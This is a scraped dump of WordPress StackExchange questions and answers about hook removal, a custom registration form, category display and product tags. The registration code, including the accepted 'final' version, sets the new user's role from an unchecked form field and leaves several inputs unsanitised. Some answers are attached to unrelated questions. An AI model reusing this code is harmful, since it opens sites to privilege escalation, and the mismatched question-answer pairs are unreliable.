When you see a hook callback described as `UM_User_posts–>add_tab`, you know there must be an `UM_User_posts` object somewhere. If `add_tab()` had been called statically, the callback description would be `UM_User_posts::add_tab`. Now you need access to the same instance of the `UM_User_posts` class that the plugin is using. How to get to that instance? That's often not possible, so you have to use [an ugly workaround](https://wordpress.stackexchange.com/a/57088/73). In *your* case however, there is a better way. The one, very important information that I'm missing in your question is: What is the plugin whose callback you want to remove? My *guess* is you are using the plugin Ultimate Members. :) Now, when I look at the [part where the instance for `UM_User_posts` is created](https://github.com/wp-plugins/ultimate-member/blob/9bb3cb349244ac0eae0ee36098b52a1dcb38c360/um-init.php#L151), I notice two things: 1. I'm running out of polite words to describe that code. Probably my fault. :) But honestly, I would *not* run that code in production. 2. The instance is assigned to an undeclared member `user_posts` of the class `UM_API`, and the instance of *that* class is put into a global variable named `$ultimatemember`. So the instance you need in order to remove the callback is in `$GLOBALS['ultimatemember']->user_posts`. And that leads us to the solution: ``` add_action( 'plugins_loaded', function() { remove_filter( 'um_profile_tabs', [ $GLOBALS['ultimatemember']->user_posts, 'add_tab' ], 100 ); }); ``` I haven't tested it, because I really don't want to install that anywhere, so … good luck. :)
285,583
<p>Im currently working on a front end form using some code found here - <a href="https://wordpress.stackexchange.com/questions/7134/front-end-register-form">orginal</a></p> <pre><code>add_action('template_redirect', 'register_a_user'); function register_a_user(){ if(isset($_GET['do']) &amp;&amp; $_GET['do'] == 'register'): $errors = array(); if(empty($_POST['user']) || empty($_POST['email'])) $errors[] = 'provide a user and email'; if(empty($_POST['first_name']) || empty($_POST['last_name'])) $errors[] = 'provide name'; if(!empty($_POST['spam'])) $errors[] = 'gtfo spammer'; if(!empty($_POST['pass1']) &amp;&amp; !empty($_POST['pass2'])) $error[] = 'The passwords you entered do not match'; $account = esc_attr($_POST['account_type']); $user_login = esc_attr($_POST['user']); $user_email = esc_attr($_POST['email']); $user_pass = esc_attr($_POST['pass1']); $user_pass2 = esc_attr($_POST['pass2']); $user_first = esc_attr($_POST['first_name']); $user_last = esc_attr($_POST['last_name']); $b_email = esc_attr($_POST['broker_email']); wp_update_user( array( 'ID' =&gt; $current_user-&gt;ID, 'broker_email' =&gt; esc_url( $_POST['broker_email'] ) ) ); require_once(ABSPATH.WPINC.'/registration.php'); $sanitized_user_login = sanitize_user($user_login); $user_email = apply_filters('user_registration_email', $user_email); if(!is_email($user_email)) $errors[] = 'invalid e-mail'; elseif(email_exists($user_email)) $errors[] = 'this email is already registered'; if(empty($sanitized_user_login) || !validate_username($user_login)) $errors[] = 'invalid user name'; elseif(username_exists($sanitized_user_login)) $errors[] = 'user name already exists'; if(empty($errors)): if ( $_POST['pass1'] == $_POST['pass2'] ) { $user_data = array ( 'user_login' =&gt; $sanitized_user_login, 'user_pass' =&gt; $user_pass, 'user_email' =&gt; $user_email, 'user_first' =&gt; $user_first, 'user_last' =&gt; $user_last, 'b_email' =&gt; $b_email, 'role' =&gt; $account ); // Create the user $user_id = wp_insert_user( $user_data ); } else { $errors[] = 'passwords dont match'; } if(!$user_id): $errors[] = 'registration failed...'; else: wp_new_user_notification($user_id); endif; endif; if(!empty($errors)) define('REGISTRATION_ERROR', serialize($errors)); else define('REGISTERED_A_USER', $user_email); endif; } </code></pre> <p>On my register form I tried adding these 3 fields</p> <pre><code>&lt;input type="text" name="broker_email" class="form-control" value="" /&gt; &lt;input type="text" name="first_name" class="form-control" value="" /&gt; &lt;input type="text" name="last_name" class="form-control" value="" /&gt; </code></pre> <p>Everything almost works fine except the name fields arent saving and the "broker email" fields arent saving. What am I doing wrong?</p>
[ { "answer_id": 285630, "author": "TurtleTread", "author_id": 117263, "author_profile": "https://wordpress.stackexchange.com/users/117263", "pm_score": 0, "selected": false, "text": "<p>I see you are a designer, so you may not have had much experience with coding and database. From the is...
2017/11/11
[ "https://wordpress.stackexchange.com/questions/285583", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/24067/" ]
Im currently working on a front end form using some code found here - [orginal](https://wordpress.stackexchange.com/questions/7134/front-end-register-form) ``` add_action('template_redirect', 'register_a_user'); function register_a_user(){ if(isset($_GET['do']) && $_GET['do'] == 'register'): $errors = array(); if(empty($_POST['user']) || empty($_POST['email'])) $errors[] = 'provide a user and email'; if(empty($_POST['first_name']) || empty($_POST['last_name'])) $errors[] = 'provide name'; if(!empty($_POST['spam'])) $errors[] = 'gtfo spammer'; if(!empty($_POST['pass1']) && !empty($_POST['pass2'])) $error[] = 'The passwords you entered do not match'; $account = esc_attr($_POST['account_type']); $user_login = esc_attr($_POST['user']); $user_email = esc_attr($_POST['email']); $user_pass = esc_attr($_POST['pass1']); $user_pass2 = esc_attr($_POST['pass2']); $user_first = esc_attr($_POST['first_name']); $user_last = esc_attr($_POST['last_name']); $b_email = esc_attr($_POST['broker_email']); wp_update_user( array( 'ID' => $current_user->ID, 'broker_email' => esc_url( $_POST['broker_email'] ) ) ); require_once(ABSPATH.WPINC.'/registration.php'); $sanitized_user_login = sanitize_user($user_login); $user_email = apply_filters('user_registration_email', $user_email); if(!is_email($user_email)) $errors[] = 'invalid e-mail'; elseif(email_exists($user_email)) $errors[] = 'this email is already registered'; if(empty($sanitized_user_login) || !validate_username($user_login)) $errors[] = 'invalid user name'; elseif(username_exists($sanitized_user_login)) $errors[] = 'user name already exists'; if(empty($errors)): if ( $_POST['pass1'] == $_POST['pass2'] ) { $user_data = array ( 'user_login' => $sanitized_user_login, 'user_pass' => $user_pass, 'user_email' => $user_email, 'user_first' => $user_first, 'user_last' => $user_last, 'b_email' => $b_email, 'role' => $account ); // Create the user $user_id = wp_insert_user( $user_data ); } else { $errors[] = 'passwords dont match'; } if(!$user_id): $errors[] = 'registration failed...'; else: wp_new_user_notification($user_id); endif; endif; if(!empty($errors)) define('REGISTRATION_ERROR', serialize($errors)); else define('REGISTERED_A_USER', $user_email); endif; } ``` On my register form I tried adding these 3 fields ``` <input type="text" name="broker_email" class="form-control" value="" /> <input type="text" name="first_name" class="form-control" value="" /> <input type="text" name="last_name" class="form-control" value="" /> ``` Everything almost works fine except the name fields arent saving and the "broker email" fields arent saving. What am I doing wrong?
With the help of something @TurtleTread said, I managed to get it working. My code was fine except had to change two things. I removed the custom field from my **$user\_data**, and added this after right after **wp\_insert\_user** -- ``` add_user_meta($user_id, 'broker_email', $b_email); ``` Here's my final code in my functions.php file -- ``` add_action('template_redirect', 'register_a_user'); function register_a_user(){ if(isset($_GET['do']) && $_GET['do'] == 'register'): $errors = array(); if(empty($_POST['user']) || empty($_POST['email'])) $errors[] = 'provide a user and email'; if(!empty($_POST['spam'])) $errors[] = 'gtfo spammer'; if(!empty($_POST['pass1']) && !empty($_POST['pass2'])) $error[] = 'The passwords you entered do not match'; $account = esc_attr($_POST['account_type']); $user_login = esc_attr($_POST['user']); $user_email = esc_attr($_POST['email']); $user_pass = esc_attr($_POST['pass1']); $user_pass2 = esc_attr($_POST['pass2']); $user_first = $_POST['first_name']; $user_last = $_POST['last_name']; $b_email = $_POST['broker_email']; require_once(ABSPATH.WPINC.'/registration.php'); $sanitized_user_login = sanitize_user($user_login); $user_email = apply_filters('user_registration_email', $user_email); if(!is_email($user_email)) $errors[] = 'invalid e-mail'; elseif(email_exists($user_email)) $errors[] = 'this email is already registered'; if(empty($sanitized_user_login) || !validate_username($user_login)) $errors[] = 'invalid user name'; elseif(username_exists($sanitized_user_login)) $errors[] = 'user name already exists'; if(empty($errors)): if ( $_POST['pass1'] == $_POST['pass2'] ) { $user_data = array ( 'user_login' => $sanitized_user_login, 'user_pass' => $user_pass, 'user_email' => $user_email, 'user_first' => $user_first, 'user_last' => $user_last, 'role' => $account ); // Create the user $user_id = wp_insert_user( $user_data ); add_user_meta($user_id, 'broker_email', $b_email); } else { $errors[] = 'passwords dont match'; } if(!$user_id): $errors[] = 'registration failed...'; else: wp_new_user_notification($user_id); endif; endif; if(!empty($errors)) define('REGISTRATION_ERROR', serialize($errors)); else define('REGISTERED_A_USER', $user_email); endif; } ``` Also if you want them to be logged in automatically, you can add this function right after -- ``` function auto_login_new_user( $user_id ) { wp_set_current_user($user_id); wp_set_auth_cookie($user_id); // You can change home_url() to the specific URL,such as wp_redirect( 'http://YOURURL.COM' ); } add_action( 'user_register', 'auto_login_new_user' ); ```
285,586
<p>I'm stuck in a strange situation right now. So I have my wordpress posts which belong to multiple categories. e.g one of my post belongs to two categories. One is 'News' category, and the other one is 'Top Bar'. (I use it to assign posts to the header posts area which fetches its articles from 'Top Bar' category.</p> <p>The problem i'm facing is that I want to show only the 'News' Category name on the post block. Right now it randomly selects one of the selected category's name from the list and displays it. Every time I refresh the page, the post block shows the name of one of the two. I just want the main one to show which is called 'News'. </p> <p>Now if you visit this link <a href="http://thexpatt.com/news" rel="nofollow noreferrer">http://thexpatt.com/news</a> , the posts category title will be News with some them showing top news. if you keep refreshing the page, the title was keep switching. In reality, all those posts have the Top News category as well as news category.</p> <p>I'm attaching a screenshot for your understanding. <strong>I refreshed the page multiple times. Notice the difference in categories display name blocks over the posts.</strong></p> <p><a href="https://i.stack.imgur.com/iCNVL.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/iCNVL.jpg" alt="1st Visit"></a></p> <p><a href="https://i.stack.imgur.com/3QBdD.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/3QBdD.jpg" alt="3rd Visit"></a></p> <p>My theme calling one of the selected categories randomly. If yes, how do I make it call the first one only or how do i exclude certain categories from being selected. </p> <p><strong>EDITED</strong> </p> <p><strong>Code i found in post.php</strong> it even says randon ID. how do i change that to ?</p> <pre><code>$postCategories = get_the_category($post-&gt;ID); $slug = ''; foreach($postCategories as $catSlug) { $slug.= $catSlug-&gt;slug." "; } $categories = wp_get_post_categories($post-&gt;ID); if(!empty($categories)){ $catCount = count($categories); **//select a random category id** $id = rand(0,$catCount-1); //cat id $catId = $categories[$id]; } else { $catId = false; } </code></pre> <p>OR HELP check if the yoast primary category is selected and print that. Yoast category inclusion code is something like this. (As found on the Internet).</p> <pre><code> $primary_cat_id=get_post_meta($product&gt;id,'_yoast_wpseo_primary_product_cat',true); if($primary_cat_id){ $product_cat = get_term($primary_cat_id, 'product_cat'); if(isset($product_cat-&gt;name)) echo $product_cat-&gt;name; } </code></pre> <p>Thanks a lot.</p>
[ { "answer_id": 285630, "author": "TurtleTread", "author_id": 117263, "author_profile": "https://wordpress.stackexchange.com/users/117263", "pm_score": 0, "selected": false, "text": "<p>I see you are a designer, so you may not have had much experience with coding and database. From the is...
2017/11/11
[ "https://wordpress.stackexchange.com/questions/285586", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/131209/" ]
I'm stuck in a strange situation right now. So I have my wordpress posts which belong to multiple categories. e.g one of my post belongs to two categories. One is 'News' category, and the other one is 'Top Bar'. (I use it to assign posts to the header posts area which fetches its articles from 'Top Bar' category. The problem i'm facing is that I want to show only the 'News' Category name on the post block. Right now it randomly selects one of the selected category's name from the list and displays it. Every time I refresh the page, the post block shows the name of one of the two. I just want the main one to show which is called 'News'. Now if you visit this link <http://thexpatt.com/news> , the posts category title will be News with some them showing top news. if you keep refreshing the page, the title was keep switching. In reality, all those posts have the Top News category as well as news category. I'm attaching a screenshot for your understanding. **I refreshed the page multiple times. Notice the difference in categories display name blocks over the posts.** [![1st Visit](https://i.stack.imgur.com/iCNVL.jpg)](https://i.stack.imgur.com/iCNVL.jpg) [![3rd Visit](https://i.stack.imgur.com/3QBdD.jpg)](https://i.stack.imgur.com/3QBdD.jpg) My theme calling one of the selected categories randomly. If yes, how do I make it call the first one only or how do i exclude certain categories from being selected. **EDITED** **Code i found in post.php** it even says randon ID. how do i change that to ? ``` $postCategories = get_the_category($post->ID); $slug = ''; foreach($postCategories as $catSlug) { $slug.= $catSlug->slug." "; } $categories = wp_get_post_categories($post->ID); if(!empty($categories)){ $catCount = count($categories); **//select a random category id** $id = rand(0,$catCount-1); //cat id $catId = $categories[$id]; } else { $catId = false; } ``` OR HELP check if the yoast primary category is selected and print that. Yoast category inclusion code is something like this. (As found on the Internet). ``` $primary_cat_id=get_post_meta($product>id,'_yoast_wpseo_primary_product_cat',true); if($primary_cat_id){ $product_cat = get_term($primary_cat_id, 'product_cat'); if(isset($product_cat->name)) echo $product_cat->name; } ``` Thanks a lot.
With the help of something @TurtleTread said, I managed to get it working. My code was fine except had to change two things. I removed the custom field from my **$user\_data**, and added this after right after **wp\_insert\_user** -- ``` add_user_meta($user_id, 'broker_email', $b_email); ``` Here's my final code in my functions.php file -- ``` add_action('template_redirect', 'register_a_user'); function register_a_user(){ if(isset($_GET['do']) && $_GET['do'] == 'register'): $errors = array(); if(empty($_POST['user']) || empty($_POST['email'])) $errors[] = 'provide a user and email'; if(!empty($_POST['spam'])) $errors[] = 'gtfo spammer'; if(!empty($_POST['pass1']) && !empty($_POST['pass2'])) $error[] = 'The passwords you entered do not match'; $account = esc_attr($_POST['account_type']); $user_login = esc_attr($_POST['user']); $user_email = esc_attr($_POST['email']); $user_pass = esc_attr($_POST['pass1']); $user_pass2 = esc_attr($_POST['pass2']); $user_first = $_POST['first_name']; $user_last = $_POST['last_name']; $b_email = $_POST['broker_email']; require_once(ABSPATH.WPINC.'/registration.php'); $sanitized_user_login = sanitize_user($user_login); $user_email = apply_filters('user_registration_email', $user_email); if(!is_email($user_email)) $errors[] = 'invalid e-mail'; elseif(email_exists($user_email)) $errors[] = 'this email is already registered'; if(empty($sanitized_user_login) || !validate_username($user_login)) $errors[] = 'invalid user name'; elseif(username_exists($sanitized_user_login)) $errors[] = 'user name already exists'; if(empty($errors)): if ( $_POST['pass1'] == $_POST['pass2'] ) { $user_data = array ( 'user_login' => $sanitized_user_login, 'user_pass' => $user_pass, 'user_email' => $user_email, 'user_first' => $user_first, 'user_last' => $user_last, 'role' => $account ); // Create the user $user_id = wp_insert_user( $user_data ); add_user_meta($user_id, 'broker_email', $b_email); } else { $errors[] = 'passwords dont match'; } if(!$user_id): $errors[] = 'registration failed...'; else: wp_new_user_notification($user_id); endif; endif; if(!empty($errors)) define('REGISTRATION_ERROR', serialize($errors)); else define('REGISTERED_A_USER', $user_email); endif; } ``` Also if you want them to be logged in automatically, you can add this function right after -- ``` function auto_login_new_user( $user_id ) { wp_set_current_user($user_id); wp_set_auth_cookie($user_id); // You can change home_url() to the specific URL,such as wp_redirect( 'http://YOURURL.COM' ); } add_action( 'user_register', 'auto_login_new_user' ); ```
285,593
<p>I need to display all tag names in front end,I have tried </p> <p><code>$terms=get_terms('product_tag');</code></p> <p>But it returns null.</p> <p>Can anyone please help me How to get it?</p>
[ { "answer_id": 285606, "author": "Shamsur Rahman", "author_id": 92258, "author_profile": "https://wordpress.stackexchange.com/users/92258", "pm_score": 3, "selected": true, "text": "<p>You need to loop through the array and create a separate array to check in_array because get_terms retu...
2017/11/11
[ "https://wordpress.stackexchange.com/questions/285593", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/116618/" ]
I need to display all tag names in front end,I have tried `$terms=get_terms('product_tag');` But it returns null. Can anyone please help me How to get it?
You need to loop through the array and create a separate array to check in\_array because get\_terms return object with in array. ``` $terms = get_terms( 'product_tag' ); $term_array = array(); if ( ! empty( $terms ) && ! is_wp_error( $terms ) ){ foreach ( $terms as $term ) { $term_array[] = $term->name; } } ``` [solution from stackoverflow click for more details](https://stackoverflow.com/questions/31904758/woocommerce-get-product-tags-in-array)
285,598
<p>I want to show my new post published live in page without refresh. something like breaking news in blog websites.</p> <p>How can i do this? anybody knows?</p>
[ { "answer_id": 285606, "author": "Shamsur Rahman", "author_id": 92258, "author_profile": "https://wordpress.stackexchange.com/users/92258", "pm_score": 3, "selected": true, "text": "<p>You need to loop through the array and create a separate array to check in_array because get_terms retu...
2017/11/11
[ "https://wordpress.stackexchange.com/questions/285598", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/89477/" ]
I want to show my new post published live in page without refresh. something like breaking news in blog websites. How can i do this? anybody knows?
You need to loop through the array and create a separate array to check in\_array because get\_terms return object with in array. ``` $terms = get_terms( 'product_tag' ); $term_array = array(); if ( ! empty( $terms ) && ! is_wp_error( $terms ) ){ foreach ( $terms as $term ) { $term_array[] = $term->name; } } ``` [solution from stackoverflow click for more details](https://stackoverflow.com/questions/31904758/woocommerce-get-product-tags-in-array)
285,676
<p>I recently set up a live WordPress site on my local environment through Duplicator. I can access the <code>wp-admin</code> but I cannot access the main site as wp redirects the site from <code>http</code> to <code>https</code> automatically. I checked the <code>.htaccess</code>, but no luck. I checked the <code>wp_options</code> table and it has an entry of the site with <code>http</code> not <code>https</code>. Can you tell what seems to be the problem and what files should I be looking at? Thanks.</p> <p>Edit: I cleaned the browser cache (even ran it on incognito), still no luck.</p>
[ { "answer_id": 285678, "author": "Misha Rudrastyh", "author_id": 85985, "author_profile": "https://wordpress.stackexchange.com/users/85985", "pm_score": 0, "selected": false, "text": "<p>Well, if you can access /wp-admin/, the solution is pretty simple - clean your browser cache or try t...
2017/11/12
[ "https://wordpress.stackexchange.com/questions/285676", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/130633/" ]
I recently set up a live WordPress site on my local environment through Duplicator. I can access the `wp-admin` but I cannot access the main site as wp redirects the site from `http` to `https` automatically. I checked the `.htaccess`, but no luck. I checked the `wp_options` table and it has an entry of the site with `http` not `https`. Can you tell what seems to be the problem and what files should I be looking at? Thanks. Edit: I cleaned the browser cache (even ran it on incognito), still no luck.
Well, at my situation... I downloaded the company website from production to localhost because I was needed to prepare a development environment for some developers. The production is using https:// and at localhost http://, and when I ran it the first time on localhost, it always redirected me to the https://. And, I have managed to made this working on my localhost simply by adding the following lines in the wp-config.php (my wp version was 4.9.8): ``` define('FORCE_SSL', false); define('FORCE_SSL_ADMIN', false); ``` Good luck!
285,682
<p>The theme I am creating is not working correctly. The menu is not collapsing into mobile view with the hamburger icon when I decrease screen size. I can see all the classes when using the inspect tool on Chrome.</p> <p>What I have tried:</p> <ol> <li>Compared the code to a theme I made as exercise and it looks exactly the same.</li> <li>Pasted the navbar example from bootstrap directly and tested(didn't collapse either).</li> <li>Used the links on bootstrap like <a href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css" rel="nofollow noreferrer">https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css</a> and <a href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js" rel="nofollow noreferrer">https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js</a> to make use of the styling and functionality.</li> <li>Downloaded the bootstrap files and linked it locally.</li> </ol> <p>Please see my header.php and functions.php below:</p> <p><strong>Header.php</strong></p> <pre><code>&lt;!DOCTYPE html&gt; &lt;head&gt; &lt;title&gt;&lt;/title&gt; &lt;?php wp_head(); ?&gt; &lt;/head&gt; &lt;body &lt;?php body_class(); ?&gt;&gt; &lt;nav class="navbar navbar-default navbar-fixed-top &lt;?php admin_bar_menu(); ?&gt;"&gt; &lt;div class="container-fluid menu-container"&gt; &lt;!-- Brand and toggle get grouped for better mobile display --&gt; &lt;div class="navbar-header"&gt; &lt;button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#bs-example-navbar-collapse-1" aria-expanded="false"&gt; &lt;span class="sr-only"&gt;Toggle navigation&lt;/span&gt; &lt;span class="icon-bar"&gt;&lt;/span&gt; &lt;span class="icon-bar"&gt;&lt;/span&gt; &lt;span class="icon-bar"&gt;&lt;/span&gt; &lt;/button&gt; &lt;a class="navbar-brand" href="&lt;?php echo esc_url( home_url('/')); ?&gt;"&gt;&lt;?php bloginfo( 'name' ); ?&gt;&lt;/a&gt; &lt;/div&gt; &lt;!-- Collect the nav links, forms, and other content for toggling --&gt; &lt;div class="collapse navbar-collapse" id="bs-example-navbar-collapse-1"&gt; &lt;?php wp_nav_menu(array( 'theme_location' =&gt; 'primary', 'menu_class' =&gt; 'nav navbar-nav navbar-right', 'fallback_cb' =&gt; false )); ?&gt; &lt;/div&gt; &lt;/div&gt; &lt;/nav&gt; </code></pre> <p><strong>Functions.php</strong></p> <pre><code>&lt;?php function winetours_scripts() { wp_enqueue_script( "bootstrap-js", get_template_directory_uri() . "/bootstrap/js/bootstrap.min.js", array("jquery") ); wp_enqueue_style( "bootstrap", get_template_directory_uri() . "/bootstrap/css/bootstrap.min.css"); wp_enqueue_style( "winetour-style" , get_stylesheet_uri() ); } add_action("wp_enqueue_scripts", "winetours_scripts"); function winetours_setup() { register_nav_menus( array( "primary" =&gt; "Primary Menu", "winetour" )); //Add theme support for document title tag add_theme_support( "title-tag" ); } add_action( "after_setup_theme", "winetours_setup"); //Adds the padding to the top of menu for logged in with toolbar function admin_bar_menu() { if ( is_user_logged_in() ){ $current_user = wp_get_current_user(); if (user_can( $current_user, 'administrator' )) { echo "admin-nav"; } } } </code></pre>
[ { "answer_id": 285678, "author": "Misha Rudrastyh", "author_id": 85985, "author_profile": "https://wordpress.stackexchange.com/users/85985", "pm_score": 0, "selected": false, "text": "<p>Well, if you can access /wp-admin/, the solution is pretty simple - clean your browser cache or try t...
2017/11/12
[ "https://wordpress.stackexchange.com/questions/285682", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/130103/" ]
The theme I am creating is not working correctly. The menu is not collapsing into mobile view with the hamburger icon when I decrease screen size. I can see all the classes when using the inspect tool on Chrome. What I have tried: 1. Compared the code to a theme I made as exercise and it looks exactly the same. 2. Pasted the navbar example from bootstrap directly and tested(didn't collapse either). 3. Used the links on bootstrap like <https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css> and <https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js> to make use of the styling and functionality. 4. Downloaded the bootstrap files and linked it locally. Please see my header.php and functions.php below: **Header.php** ``` <!DOCTYPE html> <head> <title></title> <?php wp_head(); ?> </head> <body <?php body_class(); ?>> <nav class="navbar navbar-default navbar-fixed-top <?php admin_bar_menu(); ?>"> <div class="container-fluid menu-container"> <!-- Brand and toggle get grouped for better mobile display --> <div class="navbar-header"> <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#bs-example-navbar-collapse-1" aria-expanded="false"> <span class="sr-only">Toggle navigation</span> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </button> <a class="navbar-brand" href="<?php echo esc_url( home_url('/')); ?>"><?php bloginfo( 'name' ); ?></a> </div> <!-- Collect the nav links, forms, and other content for toggling --> <div class="collapse navbar-collapse" id="bs-example-navbar-collapse-1"> <?php wp_nav_menu(array( 'theme_location' => 'primary', 'menu_class' => 'nav navbar-nav navbar-right', 'fallback_cb' => false )); ?> </div> </div> </nav> ``` **Functions.php** ``` <?php function winetours_scripts() { wp_enqueue_script( "bootstrap-js", get_template_directory_uri() . "/bootstrap/js/bootstrap.min.js", array("jquery") ); wp_enqueue_style( "bootstrap", get_template_directory_uri() . "/bootstrap/css/bootstrap.min.css"); wp_enqueue_style( "winetour-style" , get_stylesheet_uri() ); } add_action("wp_enqueue_scripts", "winetours_scripts"); function winetours_setup() { register_nav_menus( array( "primary" => "Primary Menu", "winetour" )); //Add theme support for document title tag add_theme_support( "title-tag" ); } add_action( "after_setup_theme", "winetours_setup"); //Adds the padding to the top of menu for logged in with toolbar function admin_bar_menu() { if ( is_user_logged_in() ){ $current_user = wp_get_current_user(); if (user_can( $current_user, 'administrator' )) { echo "admin-nav"; } } } ```
Well, at my situation... I downloaded the company website from production to localhost because I was needed to prepare a development environment for some developers. The production is using https:// and at localhost http://, and when I ran it the first time on localhost, it always redirected me to the https://. And, I have managed to made this working on my localhost simply by adding the following lines in the wp-config.php (my wp version was 4.9.8): ``` define('FORCE_SSL', false); define('FORCE_SSL_ADMIN', false); ``` Good luck!
285,699
<p>I would like to implement a solution for fighting comment spam and the approach is simple. I would like that every comment that has the "website" field filled to be automatically marked as spam.</p> <p>In addition, a small warning should be displayed before or after submission telling the user that his message will be marked as spam if he uses the "website" field. &lt; This is not mandatory</p> <p>What would be the best approach in order to accomplish that?</p>
[ { "answer_id": 285720, "author": "Frank P. Walentynowicz", "author_id": 32851, "author_profile": "https://wordpress.stackexchange.com/users/32851", "pm_score": 2, "selected": false, "text": "<p>If you don't want people filling website field, simply remove it from the form. Put this code ...
2017/11/13
[ "https://wordpress.stackexchange.com/questions/285699", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/131319/" ]
I would like to implement a solution for fighting comment spam and the approach is simple. I would like that every comment that has the "website" field filled to be automatically marked as spam. In addition, a small warning should be displayed before or after submission telling the user that his message will be marked as spam if he uses the "website" field. < This is not mandatory What would be the best approach in order to accomplish that?
If you don't want people filling website field, simply remove it from the form. Put this code in `functions.php` of your current theme: ``` function wpse_remove_comment_url($fields) { unset($fields['url']); return $fields; } add_filter('comment_form_default_fields', 'wpse_remove_comment_url'); ``` It is more logical than showing the field and advising users against using it. **UPDATE** To not confuse users, and fool some bots, let's make `url` field invisible to users, and readable to bots. Add this to `style.css`: ``` p.comment-form-url { display: none } ``` Check `url` field on submission, if it is not empty, you have possible spam comment. Why possible? Because, today's, more sophisticated bots, can scan CSS, and JS scripts, to avoid traps. At least, this is a starting point.
285,705
<p>im trying to understand how Action Hooks and Filters work and have this example i want to edit</p> <p>This function is in a parent theme framework php file:</p> <pre><code>public function formatArticleCat01( $show_category = false, $shorten_text_chars = 300, $show_date = true, $show_comments = false, $show_author = false, $show_views = false ) { $sFigure = ( $this-&gt;article_thumb != '' ) ? '&lt;div class="col-sm-6 col-md-4 col-lg-5"&gt;'. $this-&gt;getReviewScore() .'' .$this-&gt;getFigureSmall() .'&lt;/div&gt;&lt;div class="col-sm-6 col-md-8 col-lg-7"&gt;' : '&lt;div class="col-xs-12"&gt;'; return '&lt;div class="row clearfix"&gt; &lt;!-- start:article.default --&gt; &lt;article class="def"&gt; '. $sFigure .' &lt;div class="entry"&gt; '. ( $show_category ? $this-&gt;getCategoryLabelSpan() : '' ) .' &lt;h3 itemprop="name"&gt; &lt;a itemprop="url" href="'. get_permalink($this-&gt;article_link) .'"&gt;'. $this-&gt;article_title .'&lt;/a&gt; &lt;/h3&gt; &lt;div class="entry-meta"&gt; '. ( $show_date ? $this-&gt;getPostDateMeta() : '' ) .' '. ( $show_author ? $this-&gt;getAuthorMeta() : '' ) .' '. ( $show_comments ? $this-&gt;getCommentCountMeta() : '' ).' '. ( $show_views ? $this-&gt;getViewsLabelSpan() : '' ) .' &lt;/div&gt; &lt;div class="text hidden-xs"&gt; '. MipThemeFramework_Util::ShortenText($this-&gt;article_content, $shorten_text_chars) .' &lt;/div&gt; '. $this-&gt;getStarRatingLabelSpan() .' &lt;/div&gt; &lt;/div&gt; &lt;/article&gt; &lt;!-- end:article.default --&gt; &lt;/div&gt;'; } </code></pre> <p>So lets say i want to add another class to that div just in this line</p> <pre><code>$sFigure = ( $this-&gt;article_thumb != '' ) ? '&lt;div class="col-sm-6 col-md-4 col-lg-5"&gt;'. $this-&gt;getReviewScore() .'' .$this-&gt;getFigureSmall() .'&lt;/div&gt;&lt;div class="col-sm-6 col-md-8 col-lg-7"&gt;' : '&lt;div class="col-xs-12"&gt;'; </code></pre> <p>It should work with a filter hook right? Can someone help me to understand the functionality of filter hooks and make this example work</p> <p>I have no clue what to add in my child theme functions.php file to prevent the loss of the changes when i update the theme.</p> <p>Hope someone can help me </p> <p>Thanks</p>
[ { "answer_id": 285707, "author": "Johansson", "author_id": 94498, "author_profile": "https://wordpress.stackexchange.com/users/94498", "pm_score": 2, "selected": false, "text": "<p>Filters are for modifying the data, but actions are like bus stops where you can attach your functions to t...
2017/11/13
[ "https://wordpress.stackexchange.com/questions/285705", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/131383/" ]
im trying to understand how Action Hooks and Filters work and have this example i want to edit This function is in a parent theme framework php file: ``` public function formatArticleCat01( $show_category = false, $shorten_text_chars = 300, $show_date = true, $show_comments = false, $show_author = false, $show_views = false ) { $sFigure = ( $this->article_thumb != '' ) ? '<div class="col-sm-6 col-md-4 col-lg-5">'. $this->getReviewScore() .'' .$this->getFigureSmall() .'</div><div class="col-sm-6 col-md-8 col-lg-7">' : '<div class="col-xs-12">'; return '<div class="row clearfix"> <!-- start:article.default --> <article class="def"> '. $sFigure .' <div class="entry"> '. ( $show_category ? $this->getCategoryLabelSpan() : '' ) .' <h3 itemprop="name"> <a itemprop="url" href="'. get_permalink($this->article_link) .'">'. $this->article_title .'</a> </h3> <div class="entry-meta"> '. ( $show_date ? $this->getPostDateMeta() : '' ) .' '. ( $show_author ? $this->getAuthorMeta() : '' ) .' '. ( $show_comments ? $this->getCommentCountMeta() : '' ).' '. ( $show_views ? $this->getViewsLabelSpan() : '' ) .' </div> <div class="text hidden-xs"> '. MipThemeFramework_Util::ShortenText($this->article_content, $shorten_text_chars) .' </div> '. $this->getStarRatingLabelSpan() .' </div> </div> </article> <!-- end:article.default --> </div>'; } ``` So lets say i want to add another class to that div just in this line ``` $sFigure = ( $this->article_thumb != '' ) ? '<div class="col-sm-6 col-md-4 col-lg-5">'. $this->getReviewScore() .'' .$this->getFigureSmall() .'</div><div class="col-sm-6 col-md-8 col-lg-7">' : '<div class="col-xs-12">'; ``` It should work with a filter hook right? Can someone help me to understand the functionality of filter hooks and make this example work I have no clue what to add in my child theme functions.php file to prevent the loss of the changes when i update the theme. Hope someone can help me Thanks
